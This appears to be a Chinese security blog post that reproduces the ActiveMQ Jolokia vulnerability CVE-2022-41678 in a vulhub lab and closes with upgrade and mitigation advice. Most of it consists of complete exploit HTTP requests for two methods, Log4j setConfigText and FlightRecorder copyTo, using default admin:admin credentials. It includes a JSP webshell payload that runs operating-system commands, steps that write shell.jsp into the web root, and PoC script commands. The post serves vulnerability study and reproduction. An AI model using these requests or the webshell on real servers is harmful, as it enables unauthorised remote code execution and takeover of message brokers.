当前位置: 首页 > article >正文

ActiveMQ Jolokia 代码执行漏洞(CVE-2022-41678)复现

ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现

1.漏洞描述

ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行

影响版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

2.漏洞复现

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678

docker compose up -d

服务启动后,访问http://your-ip:8161/后输入账号密码adminadmin,即可成功登录后台。

2.1 方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。

总共4个数据包,第一步访问,获取到MBean值,此处需要加入Origin值,Authorization值为admin:admin的base64加密值

/api/jolokia/list

在这里插入图片描述

如果GET访问失败可以POST访问

在这里插入图片描述

第2步访问,此处的mbean在第一步获取到,此处xml文件需要进行转义

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 1944
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

在这里插入图片描述

xml为POC中的evil_template内容,此处出现"status":200,就可以证明漏洞存在

第3步进行注入

GET /api/jolokia/version HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %> |||
Origin: http://192.168.2.133:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

在这里插入图片描述

第4步和第2步类似,xml文件内容替换成POC中original_template内容

在这里插入图片描述

到此处,shell.jsp已经写入,访问进行命令执行

http://192.168.2.131:8161/admin/shell.jsp?cmd=id

在这里插入图片描述

POC执行命令:

python poc.py -u admin -p admin http://192.168.2.133:8161

在这里插入图片描述

2.2 方法二

主要问题出在FlightRecorder这个Mbean,漏洞思路是通过setConfiguration修改配置,录制完成后,通过copyTo导出到web目录即可。

第1步一样访问,获取mbean值

/api/jolokia/list

在这里插入图片描述

第2步如下,进行新增记录newRecording,获取value值

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}

在这里插入图片描述

第3步一样,更改配置文件信息,xml为poc中的record_template值

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 33032
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [2,"xml" ]

在这里插入图片描述

第4步,开始录制

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 116
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [2]}

在这里插入图片描述

第5步,结束录制

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 115
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [2]}

在这里插入图片描述

最后导出到web目录下

POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 138
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [2, "webapps/admin/shelljfr.jsp"]}

在这里插入图片描述

Webshell被写入在/admin/shelljfr.jsp文件中:

对应POC命令

python poc.py -u admin -p admin --exploit jfr http://localhost:8161

3.漏洞修复

安全更新

官方已推出安全更新,受影响用户可升级到以下版本:

Apache ActiveMQ >= 5.17.4

Apache ActiveMQ >= 5.16.6

缓解措施

  • 修改默认口令;

  • 可参考以下链接限制Jolokia 上授权后的操作:

    https://github.com/apache/activemq/pull/958/files

  • 若非必要,禁用Jolokia;


http://www.kler.cn/a/158518.html

相关文章:

  • IDEA 开发工具常用快捷键有哪些?
  • AcWing 1234. 倍数问题(周二)
  • 【插件】重复执行 pytest-repeat
  • 手搓神经网络(MLP)解决MNIST手写数字识别问题 | 数学推导+代码实现 | 仅用numpy,tensor和torch基本计算 | 含正反向传播数学推导
  • webSocket的使用文档
  • Java通过calcite实时读取kafka中的数据
  • Spring——全局异常处理(介绍@RestControllerAdvice和@ExceptionHandler)
  • js实现AES加密解密,简易又全面
  • monaco报错#Unexpected usage at EditorSimpleWorker.loadForeignModule
  • WPF使用Prism框架批量注册Page,Window,UserControl等视图组件
  • 7天快速学习计算机基础必考八股文day02:操作系统
  • SOCKET、TCP、HTTP之间的区别与联系
  • 最新测试开发招聘信息汇总,内含社招和实习生岗位~
  • 如何有效预防内存泄漏?
  • 基于Python+OpenCV的车道线和车辆检测系统
  • 【c】16进制数转化为10进制数(计算方法在最后,大家也可以上网搜索视频,视频更详细,谢谢)
  • Flink入门之核心概念(三)
  • xcode opencv
  • SR锁存器—>带EN的SR锁存器—>D锁存器—>边沿触发式D触发器—>寄存器
  • NET Core迁移前工作
  • 竞赛选题 题目:基于深度学习的图像风格迁移 - [ 卷积神经网络 机器视觉 ]
  • 瑜伽学习零基础入门,各种瑜伽教学方法全集
  • Android wifi disable分析
  • luceda ipkiss教程 39:修改版图text字体的粗细
  • AI:大语言模型LLM
  • 代码随想录训练营第五十六天583. 两个字符串的删除操作72. 编辑距离